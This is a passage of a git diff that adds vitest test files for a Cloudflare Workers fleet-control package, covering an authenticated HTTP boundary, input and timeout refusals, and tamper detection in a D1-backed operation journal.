+           FROM ${EXECUTION_FENCE_TABLE} WHERE id = ?`,
+        [EXECUTION_FENCE_ROW_ID],
+      );
+    const replayed = fenceRow(original);
+    const [row] = replayed;
+    if (!row) throw new Error('missing fixture fence row for role a');
+    expect({
+      mutationEpoch: typeof row.mutation_epoch,
+      requireMutationEpoch: typeof row.require_mutation_epoch,
+      transitionRevision: typeof row.transition_revision,
+      proofRunId: row.proof_run_id,
+    }).toEqual({
+      mutationEpoch: 'number',
+      requireMutationEpoch: 'number',
+      transitionRevision: 'number',
+      proofRunId: null,
+    });
+    expect(fenceRow(original.clone())).toEqual(replayed);
+  });
+
+  it('refuses malformed tenant responses and accepts extra reading fields', async () => {
+    const valid = {
+      state: 'open',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 7,
+    };
+    let answer = () => Response.json(valid);
+    const isolated = await createDirectReferenceHarness({
+      applicationProbes: false,
+      maintenanceNow: Date.now,
+      applicationFetch: async () => answer(),
+    });
+    try {
+      expect(
+        await isolated.success({
+          kind: 'provision',
+          role: 'a',
+          release: 'initial',
+        }),
+      ).toMatchObject({ status: 'ready' });
+      // Media type, body limit, parse, state and counter, in that order.
+      const cases = [
+        () =>
+          new Response(JSON.stringify(valid), {
+            headers: { 'content-type': 'text/plain' },
+          }),
+        () => Response.json({ ...valid, extra: 'x'.repeat(4096) }),
+        () =>
+          new Response('{', {
+            headers: { 'content-type': 'application/json' },
+          }),
+        () => Response.json({ ...valid, state: 'sealed' }),
+        () => Response.json({ ...valid, transitionRevision: '7' }),
+      ] as const;
+      for (const [index, response] of cases.entries()) {
+        answer = response;
+        const { response: failed, value } = await isolated.call({
+          kind: 'tenant-fence',
+          role: 'a',
+          operation: 'read',
+        });
+        expect({ index, status: failed.status }).toEqual({
+          index,
+          status: 409,
+        });
+        expect({ index, value }).toEqual({
+          index,
+          value: {
+            contractVersion: 1,
+            ok: false,
+            error: { code: 'operation-refused' },
+          },
+        });
+      }
+      answer = () =>
+        Response.json({ ...valid, proofKey: 'extra', proofRunId: 'extra-run' });
+      expect(
+        await isolated.success({
+          kind: 'tenant-fence',
+          role: 'a',
+          operation: 'read',
+        }),
+      ).toEqual(valid);
+    } finally {
+      await isolated.close();
+    }
+  });
+
+  it('holds a work category occupied while it carries an entry or a continuation cursor', async () => {
+    let fence: DirectFenceReading = {
+      state: 'open',
+      mutationEpoch: 0,
+      requireMutationEpoch: false,
+      transitionRevision: 7,
+    };
+    let page = () => Response.json({ entries: [] });
+    const isolated = await createDirectReferenceHarness({
+      applicationProbes: false,
+      maintenanceNow: Date.now,
+      applicationFetch: async (request) => {
+        const url = new URL(request.url);
+        if (url.pathname !== '/admin/inventory') return Response.json(fence);
+        return url.searchParams.has('category')
+          ? page()
+          : Response.json({
+              categories: [{ category: 'jobs', class: 'work' }],
+            });
+      },
+    });
+    try {
+      expect(
+        await isolated.success({
+          kind: 'provision',
+          role: 'a',
+          release: 'initial',
+        }),
+      ).toMatchObject({ status: 'ready' });
+      fence = {
+        state: 'draining',
+        mutationEpoch: 1,
+        requireMutationEpoch: true,
+        transitionRevision: 8,
+      };
+      // Occupied work, then a page that is empty but continues, then the
+      // drained page. The scenario's drain proof is the third row alone.
+      for (const [index, body] of [
+        { entries: [{ id: 'job-1' }] },
+        { entries: [], cursor: 'next-page' },
+        { entries: [] },
+      ].entries()) {
+        page = () => Response.json(body);
+        const sweep = await isolated.success<DirectFenceSweep>({
+          kind: 'tenant-fence',
+          role: 'a',
+          operation: 'inventory',
+        });
+        expect({
+          index,
+          categories: sweep.categories,
+          drained: sweep.categories.every(
+            (entry) => entry.class !== 'work' || entry.empty,
+          ),
+        }).toEqual({
+          index,
+          categories: [{ category: 'jobs', class: 'work', empty: index === 2 }],
+          drained: index === 2,
+        });
+      }
+    } finally {
+      await isolated.close();
+    }
+  });
+});
diff --git a/packages/fleet-control/test/direct-reference-http.test.ts b/packages/fleet-control/test/direct-reference-http.test.ts
new file mode 100644
index 00000000..bbf7d1f5
--- /dev/null
+++ b/packages/fleet-control/test/direct-reference-http.test.ts
@@ -0,0 +1,474 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { mkdtemp, rm, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest';
+import { createTestHarness, type TestHarness } from 'wrangler';
+import { DIRECT_REFERENCE_PATH } from '../scripts/direct-reference-contract.mjs';
+import {
+  DirectReferenceExecutionError,
+  type DirectReferenceHttpOptions,
+  handleDirectReferenceHttpRequest,
+} from '../scripts/direct-reference-http.js';
+import { DirectReferenceJournalError } from '../scripts/direct-reference-journal.js';
+
+const configSha256 = 'a'.repeat(64);
+const invokeSecret = 'direct-test-secret';
+const endpoint = `https://reference.test${DIRECT_REFERENCE_PATH}`;
+const envelope = (action: unknown = { kind: 'control-read' }) =>
+  JSON.stringify({ contractVersion: 1, configSha256, action });
+
+function request(body = envelope(), authorization = `Bearer ${invokeSecret}`) {
+  return new Request(endpoint, {
+    method: 'POST',
+    headers: { authorization },
+    body,
+  });
+}
+
+function fixture(overrides: Partial<DirectReferenceHttpOptions> = {}) {
+  const dispatch = vi.fn<DirectReferenceHttpOptions['dispatch']>(async () => ({
+    status: 'pending',
+  }));
+  const options = {
+    invokeSecret,
+    configSha256,
+    invocationTimeoutMs: 5_000,
+    dispatch,
+    ...overrides,
+  };
+  return {
+    dispatch,
+    handle: (input: Request) =>
+      handleDirectReferenceHttpRequest(input, options),
+  };
+}
+
+describe('direct reference HTTP boundary', () => {
+  it('uses a trusted shared start time through response serialization', async () => {
+    const now = vi.spyOn(performance, 'now').mockReturnValue(10);
+    try {
+      const { handle, dispatch } = fixture({
+        invocationTimeoutMs: 1000,
+        startedAt: 0,
+      });
+      dispatch.mockResolvedValue({
+        toJSON() {
+          now.mockReturnValue(1001);
+          return { status: 'complete' };
+        },
+      });
+      const response = await handle(request());
+      expect(response.status).toBe(504);
+      expect(await response.json()).toMatchObject({
+        ok: false,
+        error: { code: 'invocation-timeout' },
+      });
+    } finally {
+      now.mockRestore();
+    }
+  });
+
+  it.each([
+    'revoked',
+    'prototype-trap',
+    'code-getter',
+    'unknown-code',
+  ] as const)('normalizes hostile rejection inspection: %s', async (kind) => {
+    let rejection: unknown;
+    if (kind === 'revoked') {
+      const { proxy, revoke } = Proxy.revocable({}, {});
+      revoke();
+      rejection = proxy;
+    } else if (kind === 'prototype-trap')
+      rejection = new Proxy(
+        {},
+        {
+          getPrototypeOf() {
+            throw new Error('prototype-secret-sentinel');
+          },
+        },
+      );
+    else {
+      rejection = new DirectReferenceExecutionError();
+      Object.defineProperty(
+        rejection,
+        'code',
+        kind === 'code-getter'
+          ? {
+              get() {
+                throw new Error('code-secret-sentinel');
+              },
+            }
+          : { value: 'unrecognized-secret-sentinel' },
+      );
+    }
+    const { handle, dispatch } = fixture();
+    dispatch.mockRejectedValue(rejection);
+    const response = await handle(request());
+    expect(response.status).toBe(500);
+    expect(await response.json()).toEqual({
+      contractVersion: 1,
+      ok: false,
+      error: { code: 'operation-refused' },
+    });
+    expect(response.headers.get('cache-control')).toBe('no-store');
+  });
+
+  it.each([
+    '',
+    'Basic direct-test-secret',
+    'Bearer other',
+  ])('refuses unauthorized input before body and dispatch: %s', async (authorization) => {
+    const { handle, dispatch } = fixture();
+    const input = request('invalid-body-secret-sentinel', authorization);
+    const body = vi.spyOn(input, 'body', 'get');
+    const response = await handle(input);
+    expect(response.status).toBe(401);
+    expect(response.headers.get('www-authenticate')).toBe('Bearer');
+    expect(response.headers.get('cache-control')).toBe('no-store');
+    expect(await response.json()).toEqual({
+      contractVersion: 1,
+      ok: false,
+      error: { code: 'unauthorized' },
+    });
+    expect(body).not.toHaveBeenCalled();
+    expect(dispatch).not.toHaveBeenCalled();
+    body.mockRestore();
+  });
+
+  it.each([
+    undefined,
+    '',
+    '   ',
+  ])('refuses an absent or blank invocation secret: %s', async (secret) => {
+    const { handle, dispatch } = fixture({ invokeSecret: secret });
+    expect((await handle(request())).status).toBe(401);
+    expect(dispatch).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    ['https://reference.test/other', 'POST', 404],
+    [endpoint, 'GET', 405],
+  ] as const)('refuses %s %s', async (url, method, status) => {
+    const { handle, dispatch } = fixture();
+    const response = await handle(new Request(url, { method }));
+    expect(response.status).toBe(status);
+    expect(response.headers.get('cache-control')).toBe('no-store');
+    if (status === 405) expect(response.headers.get('allow')).toBe('POST');
+    expect(dispatch).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    ['malformed JSON', 'invalid-body-secret-sentinel', 400, 'invalid-request'],
+    [
+      'unknown key',
+      envelope({ kind: 'control-read', secret: 'sentinel' }),
+      400,
+      'invalid-request',
+    ],
+    [
+      'wrong run',
+      envelope().replace(configSha256, 'b'.repeat(64)),
+      409,
+      'run-binding-mismatch',
+    ],
+    ['size', 'x'.repeat(17_000), 413, 'payload-too-large'],
+  ] as const)('refuses invalid control input (%s)', async (_label, body, status, code) => {
+    const { handle, dispatch } = fixture();
+    const response = await handle(request(body));
+    expect(response.status).toBe(status);
+    expect(await response.json()).toEqual({
+      contractVersion: 1,
+      ok: false,
+      error: { code },
+    });
+    expect(dispatch).not.toHaveBeenCalled();
+  });
+
+  it('refuses invalid UTF-8 without dispatch', async () => {
+    const { handle, dispatch } = fixture();
+    const input = new Request(endpoint, {
+      method: 'POST',
+      headers: { authorization: `Bearer ${invokeSecret}` },
+      body: new Uint8Array([0xff]),
+    });
+    const response = await handle(input);
+    expect(response.status).toBe(400);
+    expect(await response.json()).toMatchObject({
+      error: { code: 'invalid-utf8' },
+    });
+    expect(dispatch).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'blocked',
+    'failed',
+  ])('retains the authoritative %s result and explicit token', async (status) => {
+    const result = {
+      status,
+      token: { operationId: 'actual-operation', revision: 8 },
+      detail: 'fixed-result',
+    };
+    const { handle, dispatch } = fixture();
+    dispatch.mockResolvedValue(result);
+    const response = await handle(
+      request(envelope({ kind: 'migration-continue', token: null })),
+    );
+    expect(dispatch).toHaveBeenCalledTimes(1);
+    expect(dispatch.mock.calls[0]?.[0]).toEqual({
+      kind: 'migration-continue',
+      token: null,
+    });
+    expect(dispatch.mock.calls[0]?.[1]).toBeInstanceOf(AbortSignal);
+    expect(response.status).toBe(200);
+    expect(await response.json()).toEqual({
+      contractVersion: 1,
+      configSha256,
+      action: 'migration-continue',
+      ok: true,
+      result,
+    });
+    expect(response.headers.get('cache-control')).toBe('no-store');
+  });
+
+  it.each([
+    [
+      new Error('provider-secret-sentinel', { cause: 'secret-cause' }),
+      500,
+      'operation-refused',
+    ],
+    [new DirectReferenceJournalError(), 500, 'journal-state'],
+    [
+      new DirectReferenceJournalError('operation-mismatch'),
+      409,
+      'operation-mismatch',
+    ],
+    [
+      new DirectReferenceExecutionError('wrong-operation'),
+      409,
+      'wrong-operation',
+    ],
+    [
+      new DirectReferenceExecutionError('injected-response-loss'),
+      503,
+      'injected-response-loss',
+    ],
+    [
+      new DirectReferenceExecutionError('budget-exhausted'),
+      503,
+      'budget-exhausted',
+    ],
+  ] as const)('returns a fixed exception envelope: %s', async (error, status, code) => {
+    const { handle, dispatch } = fixture();
+    dispatch.mockRejectedValue(error);
+    const response = await handle(request());
+    expect(response.status).toBe(status);
+    expect(await response.json()).toEqual({
+      contractVersion: 1,
+      ok: false,
+      error: { code },
+    });
+    expect(response.headers.get('cache-control')).toBe('no-store');
+  });
+
+  it('refuses already-aborted requests before dispatch', async () => {
+    const controller = new AbortController();
+    controller.abort('secret-reason');
+    const { handle, dispatch } = fixture();
+    const response = await handle(
+      new Request(request(), { signal: controller.signal }),
+    );
+    expect(response.status).toBe(499);
+    expect(await response.json()).toMatchObject({
+      error: { code: 'request-aborted' },
+    });
+    expect(dispatch).not.toHaveBeenCalled();
+  });
+
+  it('checks elapsed time when the timeout callback has not run', async () => {
+    const elapsed = vi.spyOn(performance, 'now').mockReturnValue(0);
+    try {
+      const { handle, dispatch } = fixture({ invocationTimeoutMs: 1000 });
+      dispatch.mockImplementation(async () => {
+        elapsed.mockReturnValue(2000);
+        return { status: 'complete' };
+      });
+      const response = await handle(request());
+      expect(response.status).toBe(504);
+    } finally {
+      elapsed.mockRestore();
+    }
+  });
+
+  it('cancels the piped source after an early Content-Length refusal', async () => {
+    const { handle, dispatch } = fixture();
+    const cancel = vi.fn();
+    const init = {
+      method: 'POST',
+      headers: {
+        authorization: `Bearer ${invokeSecret}`,
+        'content-length': '17000',
+      },
+      body: new ReadableStream<Uint8Array>({ cancel }),
+      duplex: 'half' as const,
+    };
+    const response = await handle(new Request(endpoint, init));
+    expect(response.status).toBe(413);
+    await new Promise((resolve) => setTimeout(resolve, 0));
+    expect(cancel).toHaveBeenCalledTimes(1);
+    expect(dispatch).not.toHaveBeenCalled();
+  });
+
+  it('cancels a stalled body despite a nonsettling source cancellation', async () => {
+    const { handle, dispatch } = fixture({ invocationTimeoutMs: 25 });
+    const cancel = vi.fn(() => new Promise<void>(() => {}));
+    const init = {
+      method: 'POST',
+      headers: { authorization: `Bearer ${invokeSecret}` },
+      body: new ReadableStream<Uint8Array>({ cancel }),
+      duplex: 'half' as const,
+    };
+    const response = await handle(new Request(endpoint, init));
+    expect(response.status).toBe(504);
+    expect(await response.json()).toMatchObject({
+      error: { code: 'invocation-timeout' },
+    });
+    expect(cancel).toHaveBeenCalledTimes(1);
+    expect(dispatch).not.toHaveBeenCalled();
+  });
+
+  it('returns the size refusal without waiting for source cancellation', async () => {
+    const { handle, dispatch } = fixture({ invocationTimeoutMs: 1000 });
+    const init = {
+      method: 'POST',
+      headers: { authorization: `Bearer ${invokeSecret}` },
+      body: new ReadableStream<Uint8Array>({
+        start(c) {
+          c.enqueue(new Uint8Array(17000));
+        },
+        cancel() {
+          return new Promise<void>(() => {});
+        },
+      }),
+      duplex: 'half' as const,
+    };
+    const response = await handle(new Request(endpoint, init));
+    expect(response.status).toBe(413);
+    expect(dispatch).not.toHaveBeenCalled();
+  });
+
+  it('awaits dispatch settlement after timeout instead of leaving a detached operation', async () => {
+    let release!: () => void;
+    let aborted!: () => void;
+    const abortObserved = new Promise<void>((resolve) => {
+      aborted = resolve;
+    });
+    const cleanup = new Promise<void>((resolve) => {
+      release = resolve;
+    });
+    const { handle, dispatch } = fixture({ invocationTimeoutMs: 25 });
+    dispatch.mockImplementation(async (_action, signal) => {
+      signal.addEventListener('abort', aborted, { once: true });
+      await cleanup;
+      return { status: 'complete' };
+    });
+    let responseSettled = false;
+    const result = handle(request()).then((response) => {
+      responseSettled = true;
+      return response;
+    });
+    await abortObserved;
+    expect(responseSettled).toBe(false);
+    release();
+    const response = await result;
+    expect(response.status).toBe(504);
+    expect(await response.json()).toMatchObject({
+      error: { code: 'invocation-timeout' },
+    });
+    expect(dispatch).toHaveBeenCalledTimes(1);
+  });
+});
+
+describe('direct reference HTTP boundary inside workerd', () => {
+  let directory: string;
+  let server: TestHarness;
+  beforeAll(async () => {
+    directory = await mkdtemp(join(tmpdir(), 'direct-http-'));
+    const main = join(directory, 'worker.ts');
+    // The 100 ms invocation deadline belongs to the probe modes, whose bodies
+    // never settle; a request without a probe carries a deadline wide enough
+    // that the workerd round trip cannot spend it.
+    await writeFile(
+      main,
+      `import {handleDirectReferenceHttpRequest} from ${JSON.stringify(fileURLToPath(new URL('../scripts/direct-reference-http.ts', import.meta.url)))};
+    export default {async fetch(request){
+      const mode=new URL(request.url).searchParams.get('probe');
+      let calls=0;
+      if(mode==='stalled')request=new Request(${JSON.stringify(endpoint)},{method:'POST',headers:{authorization:'Bearer ${invokeSecret}'},body:new ReadableStream({cancel(){return new Promise(()=>{});}})});
+      if(mode==='oversize')request=new Request(${JSON.stringify(endpoint)},{method:'POST',headers:{authorization:'Bearer ${invokeSecret}'},body:new ReadableStream({start(c){c.enqueue(new Uint8Array(17000));},cancel(){return new Promise(()=>{});}})});
+      const response=await handleDirectReferenceHttpRequest(request,{invokeSecret:'${invokeSecret}',configSha256:'${configSha256}',invocationTimeoutMs:mode?100:30000,dispatch:async(action)=>{calls++;return {status:'blocked',action};}});
+      response.headers.set('x-fixture-dispatches',String(calls));return response;
+    }};`,
+    );
+    server = createTestHarness({
+      root: directory,
+      workers: [
+        {
+          config: {
+            name: 'direct-http-harness',
+            main,
+            compatibility_date: '2026-08-06',
+            compatibility_flags: ['nodejs_compat'],
+          },
+        },
+      ],
+    });
+    await server.listen();
+  }, 30_000);
+  afterAll(async () => {
+    try {
+      await server?.close();
+    } finally {
+      if (directory) await rm(directory, { recursive: true, force: true });
+    }
+  }, 30_000);
+
+  it('authenticates and preserves a blocked result', async () => {
+    const response = await server.getWorker().fetch(endpoint, {
+      method: 'POST',
+      headers: { authorization: `Bearer ${invokeSecret}` },
+      body: envelope({ kind: 'migration-continue', token: false }),
+    });
+    expect(response.status).toBe(200);
+    expect(response.headers.get('x-fixture-dispatches')).toBe('1');
+    expect(await response.json()).toMatchObject({
+      ok: true,
+      result: {
+        status: 'blocked',
+        action: { kind: 'migration-continue', token: false },
+      },
+    });
+  });
+  it.each([
+    ['stalled', 504],
+    ['oversize', 413],
+  ] as const)('refuses %s without dispatch', async (mode, status) => {
+    const response = await server
+      .getWorker()
+      .fetch(`${endpoint}?probe=${mode}`);
+    expect(response.status, await response.text()).toBe(status);
+    expect(response.headers.get('x-fixture-dispatches')).toBe('0');
+  });
+  it('refuses invalid authentication', async () => {
+    const response = await server.getWorker().fetch(endpoint, {
+      method: 'POST',
+      headers: { authorization: 'Bearer other' },
+      body: 'secret-body',
+    });
+    expect(response.status).toBe(401);
+    expect(response.headers.get('x-fixture-dispatches')).toBe('0');
+  });
+});
diff --git a/packages/fleet-control/test/direct-reference-journal.harness.test.ts b/packages/fleet-control/test/direct-reference-journal.harness.test.ts
new file mode 100644
index 00000000..f87cbb64
--- /dev/null
+++ b/packages/fleet-control/test/direct-reference-journal.harness.test.ts
@@ -0,0 +1,843 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { createHash, randomUUID } from 'node:crypto';
+import { mkdtemp, rm, writeFile } from 'node:fs/promises';
+import { tmpdir } from 'node:os';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import type { D1Database } from '@cloudflare/workers-types';
+import { afterAll, beforeAll, describe, expect, it, vi } from 'vitest';
+import { createTestHarness, type TestHarness } from 'wrangler';
+import {
+  DirectReferenceJournal,
+  DirectReferenceJournalError,
+} from '../scripts/direct-reference-journal.js';
+
+const binding = JSON.stringify({
+  configSha256: 'a'.repeat(64),
+  accountId: 'fixture-account',
+});
+const token = (operationId: string, revision: number) =>
+  JSON.stringify({ version: 1, operationId, revision });
+
+describe.sequential('direct reference journal in native D1', {
+  timeout: 30_000,
+}, () => {
+  let directory: string;
+  let server: TestHarness;
+  let db: D1Database;
+
+  beforeAll(async () => {
+    directory = await mkdtemp(join(tmpdir(), 'direct-journal-'));
+    const main = join(directory, 'worker.ts');
+    await writeFile(
+      main,
+      `import {DirectReferenceJournal} from ${JSON.stringify(fileURLToPath(new URL('../scripts/direct-reference-journal.ts', import.meta.url)))};
+      export default {async fetch(request, env) {
+        const runKey = new URL(request.url).searchParams.get('run');
+        const journal = new DirectReferenceJournal(env.DB, runKey, ${JSON.stringify(binding)});
+        if (request.method === 'POST') {
+          const start = await journal.freezeStart('inventory-before', async () => ({operationId: crypto.randomUUID(), inputJson: '{"fixture":true}'}));
+          await journal.rememberToken('inventory-before', JSON.stringify({version:1, operationId:start.operationId, revision:2}));
+          await journal.recordInterruption('{"fixture":"workerd"}');
+        }
+        return Response.json({operation: await journal.readOperation('inventory-before'), witness: await journal.readInterruption()});
+      }};`,
+    );
+    server = createTestHarness({
+      root: directory,
+      workers: [
+        {
+          config: {
+            name: 'direct-journal-harness',
+            main,
+            compatibility_date: '2026-08-06',
+            compatibility_flags: ['nodejs_compat'],
+            d1_databases: [
+              {
+                binding: 'DB',
+                database_name: 'direct-journal-harness',
+                database_id: '00000000-0000-0000-0000-000000000000',
+              },
+            ],
+          },
+        },
+      ],
+    });
+    await server.listen();
+    db = (await server.getWorker<{ DB: D1Database }>().getEnv()).DB;
+  }, 30_000);
+
+  afterAll(async () => {
+    try {
+      await server?.close();
+    } finally {
+      if (directory) await rm(directory, { recursive: true, force: true });
+    }
+  }, 30_000);
+
+  function fixture() {
+    const runKey = randomUUID();
+    return { runKey, journal: new DirectReferenceJournal(db, runKey, binding) };
+  }
+
+  it.each([
+    'before',
+    'after',
+  ] as const)('retains the first force %s observation and refuses changed identity or purpose', async (phase) => {
+    const { runKey, journal } = fixture();
+    const write =
+      phase === 'before'
+        ? journal.recordForceBefore.bind(journal)
+        : journal.recordForceAfter.bind(journal);
+    const identity = '{"version":1,"resource":"original"}';
+    const first = await write(identity, '{"observedAt":1}');
+    expect(await write(identity, '{"observedAt":2}')).toEqual(first);
+    const reloaded = new DirectReferenceJournal(db, runKey, binding);
+    const read = () =>
+      phase === 'before'
+        ? reloaded.readForceBefore()
+        : reloaded.readForceAfter();
+    expect(await read()).toEqual(first);
+    await expect(
+      write('{"version":1,"resource":"replacement"}', '{}'),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+    expect(await read()).toEqual(first);
+    const other = phase === 'before' ? 'after' : 'before';
+    await db
+      .prepare(
+        'UPDATE direct_reference_observations SET observation_kind=? WHERE run_key=? AND observation_kind=?',
+      )
+      .bind(`force-${other}`, runKey, `force-${phase}`)
+      .run();
+    await expect(
+      other === 'before'
+        ? reloaded.readForceBefore()
+        : reloaded.readForceAfter(),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+  });
+
+  it('retains first resource provenance and distinct incarnations across reload', async () => {
+    const { runKey, journal } = fixture();
+    const first = await journal.recordResource(
+      'a',
+      '{"databaseId":"one"}',
+      '{"phase":"ready"}',
+    );
+    const repeated = await journal.recordResource(
+      'a',
+      first.identityJson,
+      '{"phase":"decommissioning"}',
+    );
+    expect(repeated).toEqual(first);
+    const second = await journal.recordResource(
+      'a',
+      '{"databaseId":"two"}',
+      '{}',
+    );
+    expect(second.identitySha256).not.toBe(first.identitySha256);
+    const reloaded = new DirectReferenceJournal(db, runKey, binding);
+    expect(await reloaded.readResource('a', first.identitySha256)).toEqual(
+      first,
+    );
+    expect(await reloaded.readResource('a', second.identitySha256)).toEqual(
+      second,
+    );
+    expect(
+      await reloaded.readResource('b', first.identitySha256),
+    ).toBeUndefined();
+  });
+
+  it('deduplicates concurrent settlement delivery while retaining first provenance', async () => {
+    const { runKey, journal } = fixture();
+    const key = createHash('sha256').update(randomUUID()).digest('hex');
+    const identity = '{"target":"v1"}';
+    const deliveries = await Promise.all([
+      journal.recordSettlement(
+        key,
+        identity,
+        '{"entry":"migration","alreadySettled":false}',
+      ),
+      journal.recordSettlement(
+        key,
+        identity,
+        '{"entry":"ready-convergence","alreadySettled":true}',
+      ),
+    ]);
+    expect(deliveries[0]).toEqual(deliveries[1]);
+    expect(
+      await new DirectReferenceJournal(db, runKey, binding).readSettlement(key),
+    ).toEqual(deliveries[0]);
+    const rows = await db
+      .prepare('SELECT * FROM direct_reference_observations WHERE run_key=?')
+      .bind(runKey)
+      .all();
+    expect(rows.results).toHaveLength(1);
+    await expect(
+      journal.recordSettlement(key, '{"target":"v2"}', '{}'),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+    expect(await journal.readSettlement(key)).toEqual(deliveries[0]);
+  });
+
+  it.each([
+    'identity',
+    'provenance',
+    'kind',
+    'key',
+    'run',
+    'role',
+  ] as const)('detects observation corruption in %s', async (field) => {
+    const { runKey, journal } = fixture();
+    const resource = await journal.recordResource(
+      'a',
+      '{"databaseId":"one"}',
+      '{}',
+    );
+    let reader = journal;
+    let read: () => Promise<unknown> = () =>
+      reader.readResource('a', resource.identitySha256);
+    if (field === 'identity' || field === 'provenance') {
+      const column = field === 'identity' ? 'identity_json' : 'provenance_json';
+      await db
+        .prepare(
+          `UPDATE direct_reference_observations SET ${column}=? WHERE run_key=?`,
+        )
+        .bind('{"tampered":true}', runKey)
+        .run();
+    } else if (field === 'kind' || field === 'key') {
+      const key = 'a'.repeat(64);
+      await db
+        .prepare(
+          'UPDATE direct_reference_observations SET observation_kind=?,observation_key=? WHERE run_key=?',
+        )
+        .bind(
+          field === 'kind' ? 'settlement' : 'resource',
+          field === 'kind' ? key : `a:${key}`,
+          runKey,
+        )
+        .run();
+      read = () =>
+        field === 'kind'
+          ? reader.readSettlement(key)
+          : reader.readResource('a', key);
+    } else if (field === 'role') {
+      await db
+        .prepare(
+          'UPDATE direct_reference_observations SET observation_key=? WHERE run_key=?',
+        )
+        .bind(`b:${resource.identitySha256}`, runKey)
+        .run();
+      read = () => reader.readResource('b', resource.identitySha256);
+    } else {
+      const other = fixture();
+      await other.journal.readInterruption();
+      await db
+        .prepare(
+          'UPDATE direct_reference_observations SET run_key=? WHERE run_key=?',
+        )
+        .bind(other.runKey, runKey)
+        .run();
+      reader = other.journal;
+    }
+    await expect(read()).rejects.toMatchObject({ code: 'journal-state' });
+  });
+
+  it('does not acknowledge a suppressed observation insert', async () => {
+    const { runKey, journal } = fixture();
+    await journal.readInterruption();
+    const trigger = `ignore_observation_${runKey.replaceAll('-', '')}`;
+    await db.exec(
+      `CREATE TRIGGER ${trigger} BEFORE INSERT ON direct_reference_observations WHEN NEW.run_key='${runKey}' BEGIN SELECT RAISE(IGNORE); END`,
+    );
+    try {
+      await expect(
+        journal.recordResource('a', '{}', '{}'),
+      ).rejects.toMatchObject({ code: 'journal-state' });
+      await expect(
+        journal.recordSettlement('b'.repeat(64), '{}', '{}'),
+      ).rejects.toMatchObject({ code: 'journal-state' });
+    } finally {
+      await db.exec(`DROP TRIGGER ${trigger}`);
+    }
+  });
+
+  it('validates observation identities and bounded JSON before storage', async () => {
+    const { journal } = fixture();
+    await expect(
+      journal.recordResource('foreign' as 'a', '{}', '{}'),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+    await expect(journal.recordResource('a', '[]', '{}')).rejects.toMatchObject(
+      { code: 'journal-state' },
+    );
+    await expect(
+      journal.recordSettlement('not-a-key', '{}', '{}'),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+    await expect(
+      journal.recordSettlement(
+        'b'.repeat(64),
+        '{}',
+        JSON.stringify({ value: 'x'.repeat(256 * 1024) }),
+      ),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+  });
+
+  it.each([
+    'revoked',
+    'prototype-trap',
+    'code-getter',
+    'unknown-code',
+    'message',
+  ] as const)('normalizes hostile database rejection: %s', async (kind) => {
+    let rejection: unknown;
+    if (kind === 'revoked') {
+      const { proxy, revoke } = Proxy.revocable({}, {});
+      revoke();
+      rejection = proxy;
+    } else if (kind === 'prototype-trap')
+      rejection = new Proxy(
+        {},
+        {
+          getPrototypeOf() {
+            throw new Error('prototype-secret-sentinel');
+          },
+        },
+      );
+    else {
+      rejection = new DirectReferenceJournalError('missing-start');
+      Object.defineProperty(
+        rejection,
+        kind === 'message' ? 'message' : 'code',
+        kind === 'code-getter'
+          ? {
+              get() {
+                throw new Error('code-secret-sentinel');
+              },
+            }
+          : { value: 'unrecognized-secret-sentinel' },
+      );
+    }
+    const wrapped = new Proxy(db, {
+      get(target, key) {
+        if (key === 'batch')
+          return async () => {
+            throw rejection;
+          };
+        const value = Reflect.get(target, key);
+        return typeof value === 'function' ? value.bind(target) : value;
+      },
+    });
+    const journal = new DirectReferenceJournal(wrapped, randomUUID(), binding);
+    const code = kind === 'message' ? 'missing-start' : 'journal-state';
+    await expect(
+      journal.readOperation('inventory-before'),
+    ).rejects.toMatchObject({
+      name: 'DirectReferenceJournalError',
+      code,
+      message: code,
+    });
+  });
+
+  it('executes the journal inside workerd and reloads its records', async () => {
+    const { runKey, journal } = fixture();
+    const url = `https://journal.test/?run=${runKey}`;
+    const created = await server.getWorker().fetch(url, { method: 'POST' });
+    expect(created.status).toBe(200);
+    const result = await created.json();
+    expect(result).toMatchObject({
+      operation: {
+        slot: 'inventory-before',
+        inputJson: '{"fixture":true}',
+        tokenRevision: 2,
+      },
+      witness: '{"fixture":"workerd"}',
+    });
+    const read = await server.getWorker().fetch(url);
+    expect(read.status).toBe(200);
+    expect(await read.json()).toEqual(result);
+    expect(await journal.readOperation('inventory-before')).toEqual(
+      (result as { operation: unknown }).operation,
+    );
+  });
+
+  it.each([
+    'cleanup-a',
+    'cleanup-recovery-initial',
+    'decommission-a',
+  ] as const)('adopts %s identity only from a Fleet token', async (slot) => {
+    const { runKey, journal } = fixture();
+    await expect(
+      journal.freezeStart(slot, async () => ({
+        operationId: randomUUID(),
+        inputJson: '{}',
+      })),
+    ).rejects.toMatchObject({ code: 'journal-state' });
+    expect(await journal.readOperation(slot)).toBeUndefined();
+    await journal.freezeStart(slot, async () => ({
+      operationId: null,
+      inputJson: '{}',
+    }));
+    await db
+      .prepare(
+        'UPDATE direct_reference_operations SET operation_id=? WHERE run_key=?',
+      )
+      .bind(randomUUID(), runKey)
+      .run();
+    await expect(journal.readOperation(slot)).rejects.toMatchObject({
+      code: 'journal-state',
+    });
+  });
+
+  it.each([
+    'operation-id',
+    'slot-copy',
+  ] as const)('detects frozen-start metadata corruption: %s', async (kind) => {
+    const { runKey, journal } = fixture();
+    await journal.freezeStart('inventory-before', async () => ({
+      operationId: randomUUID(),
+      inputJson: '{}',
+    }));
+    if (kind === 'operation-id')
+      await db
+        .prepare(
+          'UPDATE direct_reference_operations SET operation_id=? WHERE run_key=?',
+        )
+        .bind(randomUUID(), runKey)
+        .run();
+    else
+      await db
+        .prepare(
